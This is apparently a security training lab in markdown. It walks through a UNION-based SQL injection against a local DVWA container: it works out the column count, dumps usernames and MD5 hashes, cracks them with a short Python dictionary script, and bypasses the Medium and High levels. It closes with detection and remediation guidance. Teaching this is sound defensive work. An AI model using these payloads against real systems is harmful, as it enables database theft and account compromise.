Skip to content

Latest commit

 

History

History
377 lines (286 loc) · 17.9 KB

File metadata and controls

377 lines (286 loc) · 17.9 KB

Lab: DVWA SQL Injection

Extract the entire user table — usernames and unsalted password hashes — from DVWA through a single URL parameter using a UNION SELECT, then crack the hashes and repeat the finding at higher security levels.

[!warning] Authorized use only Run this only against the disposable target described below, on an isolated host. Bind the container to 127.0.0.1 — these applications are deliberately vulnerable, and several ship with known-weak credentials.

Module: Injection · Target: DVWA v1.10 (vulnerables/web-dvwa) · Difficulty: Beginner · Time: ~45 min · OWASP: A03:2021

Objective

Turn a single reflected database lookup into a full table dump. You will confirm that the id parameter on DVWA's SQL Injection page is concatenated into a query, determine that the query returns exactly two columns, append a UNION SELECT that borrows those two columns to carry user and password out of the users table, and finish holding six username/hash pairs that the page was never designed to show you. You will then recover the plaintext passwords from those hashes and repeat the attack against DVWA's Medium and High implementations to see which defences actually change the outcome.

Prerequisites

Knowledge:

  • Basic SQL — SELECT, UNION, ORDER BY, and how a comment terminates a statement.
  • The difference between a query's structure and its data; see [[SQL-Injection(SQLi)]].
  • How a session cookie authenticates later requests, from [[Cookies]].

Tooling:

  • Docker, curl, and python3. Everything below was produced with those three.
  • Not required: sqlmap and Burp Suite. Neither was installed on the host that produced this transcript, and neither is needed — the whole attack is four URLs. Automate it later with [[Sqlmap]] or [[Ghauri]] once you can do it by hand; a scanner that finds this for you teaches you nothing about why the payload has two columns.

Environment Setup

Check the port before you bind. On the host that produced this transcript port 8080 was already occupied, so DVWA was bound to 8081, and every request below reflects that:

ss -tlnp | grep -E ':(8080|8081)\b' || echo 'both free'

Start the target, bound to loopback only:

docker run -d --name dvwa -p 127.0.0.1:8081:80 vulnerables/web-dvwa

Browse to http://127.0.0.1:8081/setup.php and click Create / Reset Database. Then log in at http://127.0.0.1:8081/login.php with admin / password, and set DVWA Security to Low on http://127.0.0.1:8081/security.php.

Every page requires the PHPSESSID cookie, and every POST form carries a user_token anti-CSRF value that must be scraped from the page that renders the form. To drive the setup from the shell instead of the browser, note that DVWA's tokenField() emits the token with single quotes:

function tokenField() {  # Return a field for the (CSRF) token
	return "<input type='hidden' name='user_token' value='{$_SESSION[ 'session_token' ]}' />";
}

so the scrape looks like this:

cd /tmp && rm -f dvwa.jar

# Authenticate, scraping the login form's user_token first.
TOKEN=$(curl -s -c dvwa.jar http://127.0.0.1:8081/login.php \
  | grep -oP "name='user_token' value='\K[0-9a-f]{32}")
curl -s -b dvwa.jar -c dvwa.jar -o /dev/null \
  -d "username=admin&password=password&Login=Login&user_token=${TOKEN}" \
  http://127.0.0.1:8081/login.php

# Set the security level to Low, scraping that form's own token.
STOKEN=$(curl -s -b dvwa.jar -c dvwa.jar http://127.0.0.1:8081/security.php \
  | grep -oP "name='user_token' value='\K[0-9a-f]{32}")
curl -s -b dvwa.jar -c dvwa.jar -o /dev/null \
  -d "security=low&seclev_submit=Submit&user_token=${STOKEN}" \
  http://127.0.0.1:8081/security.php

Verify before attacking — an unverified target produces false negatives you will blame on your payload:

grep -E 'PHPSESSID|security' dvwa.jar
curl -s -b dvwa.jar 'http://127.0.0.1:8081/vulnerabilities/sqli/?id=1&Submit=Submit' \
  | grep -o 'First name: [A-Za-z]*'

Walkthrough

1. Establish the baseline

Submit a legitimate value and learn what "normal" looks like:

GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: 127.0.0.1:8081
Cookie: PHPSESSID=<your session>; security=low

One record comes back — a first name and a surname. That shape is the whole lab: two fields, which means two columns, which means your UNION must supply exactly two.

2. Confirm the parameter reaches the query

Append a single apostrophe. If id is concatenated rather than bound, the quote unbalances the statement and MySQL raises a syntax error that DVWA prints, because the query is wrapped in or die( '<pre>' . mysqli_error(...) . '</pre>' ):

GET /vulnerabilities/sqli/?id=1'&Submit=Submit HTTP/1.1
Host: 127.0.0.1:8081
Cookie: PHPSESSID=<your session>; security=low

[!note] Illustrative, not captured The exact error string depends on your MySQL/MariaDB build and is not part of the verified transcript for this lab. Expect a You have an error in your SQL syntax message naming the fragment near ''1'''. Confirm the wording against your own instance rather than quoting this note in a report.

An error here confirms an injection point. No error does not mean no injection — it may just mean errors are suppressed, which is what [[Blind-SQL-Injection]] exists for.

3. Establish the column count

UNION requires both sides of the union to have the same number of columns. Walk ORDER BY upward until the ordinal exceeds the column count and the query errors: 1' ORDER BY 1# and 1' ORDER BY 2# succeed, 1' ORDER BY 3# fails. Two columns.

You do not have to guess, because DVWA ships its own source. The Low implementation is:

$id = $_REQUEST[ 'id' ];
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

Two selected columns, first_name and last_name, and $id pasted straight between two apostrophes. That single line is the entire vulnerability.

4. Extract the user table

Break out of the quoted context with 1', union in two columns of your own, and comment away the trailing '; with #:

1' UNION SELECT user, password FROM users#

URL-encoded and sent:

curl -s -b /tmp/dvwa.jar -G \
  --data-urlencode "id=1' UNION SELECT user, password FROM users#" \
  --data-urlencode "Submit=Submit" \
  'http://127.0.0.1:8081/vulnerabilities/sqli/'
GET /vulnerabilities/sqli/?id=1%27%20UNION%20SELECT%20user%2C%20password%20FROM%20users%23&Submit=Submit HTTP/1.1
Host: 127.0.0.1:8081
Cookie: PHPSESSID=<your session>; security=low

The captured response, verbatim:

ID: 1' UNION SELECT user, password FROM users#  First name: admin    Surname: admin
ID: 1' UNION SELECT user, password FROM users#  First name: admin    Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' UNION SELECT user, password FROM users#  First name: gordonb  Surname: e99a18c428cb38d5f260853678922e03
ID: 1' UNION SELECT user, password FROM users#  First name: 1337     Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' UNION SELECT user, password FROM users#  First name: pablo    Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' UNION SELECT user, password FROM users#  First name: smithy   Surname: 5f4dcc3b5aa765d61d8327deb882cf99

The first row is the legitimate user_id = '1' record. The five that follow are the injected UNION results, printed through the same template. The echoed ID: field is your own payload reflected back — the source interpolates {$id} into the output — which usefully confirms you are reading injected rows and not a coincidence.

5. Understand why exactly two columns worked

The page's markup is generated once and reused for every row:

$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

$first and $last are read from the result set by name. Your UNION supplies user first and password second, so user lands in the "First name" slot and the hash in "Surname". The labels lie; the positions do not. That is the general lesson of UNION extraction: you are not choosing where data appears, you are choosing which of the application's existing output slots to hijack. When two columns are not enough, pack several values into one with concat(user,0x3a,password).

6. Crack the hashes

The stored values are unsalted MD5 — 32 hex characters, no cost parameter, no per-user salt. That means an attacker does not need to break the hash function; they need a dictionary. Confirm the recovered plaintexts:

import hashlib

captured = {
    "5f4dcc3b5aa765d61d8327deb882cf99": None,
    "e99a18c428cb38d5f260853678922e03": None,
    "8d3533d75ae2c3966d7e0d4fcc69216b": None,
    "0d107d09f5bbe40cade3de5c71e9e9b7": None,
}

for candidate in ["password", "abc123", "letmein", "charley"]:
    digest = hashlib.md5(candidate.encode()).hexdigest()
    if digest in captured:
        captured[digest] = candidate

for digest, plaintext in captured.items():
    print(digest, "=", plaintext)
5f4dcc3b5aa765d61d8327deb882cf99 = password
e99a18c428cb38d5f260853678922e03 = abc123
8d3533d75ae2c3966d7e0d4fcc69216b = charley
0d107d09f5bbe40cade3de5c71e9e9b7 = letmein

Four hashes, four words, no cracking rig. Notice that admin and smithy share 5f4dcc3b5aa765d61d8327deb882cf99 — identical hashes prove identical passwords, exactly the leak a per-user salt prevents. For the offline-cracking workflow proper, see [[Authentication-Testing/Offline-Password-Cracking|Offline Password Cracking]].

7. Raise the security level to Medium

Set DVWA Security to Medium and re-run. The page now submits a dropdown by POST, and the source changes to:

$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

Two things changed, and only one of them matters. The escaping neutralises your apostrophe — but look at the query: $id is no longer quoted. In a numeric context you never needed a quote:

1 UNION SELECT user, password FROM users#

Also notice the input moved from a text box to a <select>. That is a client-side constraint with no server-side counterpart; the value still arrives in a POST body you control, so re-send it with curl and the dropdown is irrelevant. Treat every "the UI doesn't allow that" claim as a hypothesis to test.

8. Raise the security level to High

High moves the identifier out of the request entirely:

$id = $_SESSION[ 'id' ];
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

The value is set on a separate page and stashed in the session, then read back here. The concatenation bug is untouched — the input just arrives by a longer route, so the injection point is the session-setting request, not this one. LIMIT 1 is the only real speed bump, and it is defeated by appending your own limit and offset, or by using concat() to pack the whole table into the single row you are allowed. High is a lesson in indirection, not a fix.

Expected Result

[!success] Proof of exploitation Six ID: … First name: … Surname: … blocks are rendered where the application returns one. Five of them carry values from the users table that the query was never meant to expose: the usernames admin, gordonb, 1337, pablo, smithy and their 32-character MD5 password hashes — including 5f4dcc3b5aa765d61d8327deb882cf99, which resolves to password and appears twice, proving two accounts share a credential.

Detection

Source Signal
Apache/Nginx access log The Low-level attack is a GET, so the full payload is logged in the request line: GET /vulnerabilities/sqli/?id=1%27%20UNION%20SELECT%20user%2C%20password%20FROM%20users%23. UNION, SELECT, %27 and ORDER BY in a query string are high-signal indicators.
Application error log The step-2 and step-3 probes generate MySQL syntax errors. A burst of syntax errors from one client, on one parameter, in a few seconds is reconnaissance, not user error.
Database query log The final statement is logged in full — SELECT first_name, last_name FROM users WHERE user_id = '1' UNION SELECT user, password FROM users#'. A query against users.password originating from a page that displays names is anomalous by construction.
Response size The successful dump returns roughly six times the normal body length for the same endpoint. Sudden response-size outliers on a fixed-shape page are a cheap, payload-agnostic detection.

What a defender would not see: at Medium the parameter moves into a POST body, which standard access logs do not record. Detection built solely on URL inspection goes blind the moment the application switches verbs — one of the more common gaps in real monitoring. See [[Login-Logging]] for what to instrument instead.

Remediation

The fix is not escaping and not a blocklist. It is refusing to let user input become query structure. DVWA's own impossible.php shows it:

// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

The statement is compiled before $id exists, so $id can only ever be a value. Note what else that file does: is_numeric($id) validates the type, PDO::PARAM_INT binds it as an integer, LIMIT 1 bounds the result, and the whole action is gated behind an anti-CSRF token.

In priority order:

  1. Parameterised queries everywhere. Prepared statements with bound parameters, with no exceptions carved out for "internal" or "trusted" values — see [[Second-Order-SQL-Injection]] for what happens to values trusted because they came from the database.
  2. Allow-list anything that cannot be bound. Table and column names and ORDER BY directions cannot be parameterised; map user input to a fixed set of permitted literals instead.
  3. Least privilege on the database account. The web user should not be able to read the password column of the authentication table if the page only renders names.
  4. Store passwords with a modern, salted, deliberately slow KDF — bcrypt, scrypt or Argon2id. Then a full table dump yields hashes that are expensive rather than a wordlist away.
  5. Suppress database errors in production. Verbose errors turned step 2 into a one-request confirmation.

Escaping via mysqli_real_escape_string is explicitly not on this list as a primary control: Medium demonstrated that it is worthless the moment the value is used unquoted.

Cleanup

docker rm -f dvwa
rm -f /tmp/dvwa.jar

If you re-use the container for another lab, reset the seeded data from /setup.php with Create / Reset Database — step 7 changes no data, but other DVWA labs write to the same users table and a poisoned baseline makes the next lab's output confusing.

Troubleshooting

Symptom Cause Fix
docker: Bind for 127.0.0.1:8080 failed: port is already allocated Another service holds 8080 Bind 8081 as shown; re-run the ss -tlnp check first
Every request returns the login page No PHPSESSID, or the login POST omitted user_token Re-run the setup block; the token must come from the same response that set the cookie jar
Create / Reset Database fails MySQL inside the container is still starting Wait ~15 s after docker run and reload /setup.php
Payload reflected but no extra rows Security level is not Low, or # was consumed as a URL fragment Confirm security=low in the jar and URL-encode # as %23 — use --data-urlencode
different number of columns error Column count wrong Re-run the ORDER BY walk; the Low query selects exactly two
Medium level rejects the payload You kept the apostrophe $id is unquoted at Medium — drop the quote

References

Related

  • [[SQL-Injection(SQLi)]] — the technique note this lab puts into practice.
  • [[Types-of--SQL-Injections(SQLi)]] — where UNION-based extraction sits among the injection variants.
  • [[Using-information_schema-for-SQL-Injection]] — how to discover table and column names when you cannot read the source as you did here.
  • [[Blind-SQL-Injection]] — the path forward when errors are suppressed and nothing is reflected.
  • [[Different-forms-of-building-SQL-queries]] — why the Medium level's unquoted numeric context defeated its own escaping.
  • [[Second-Order-SQL-Injection]] — the High level's session indirection taken to its logical conclusion.
  • [[Authentication-Testing/Offline-Password-Cracking|Offline Password Cracking]] — turning the dumped hashes into credentials at scale.
  • [[Sqlmap]] — automating this exact attack once you can perform it by hand.
  • DVWA-Lab-Setup — alternative build instructions if you prefer a source install to the container.
  • [[Lab-DVWA-Command-Injection]] — the same application, the same root cause, a different interpreter.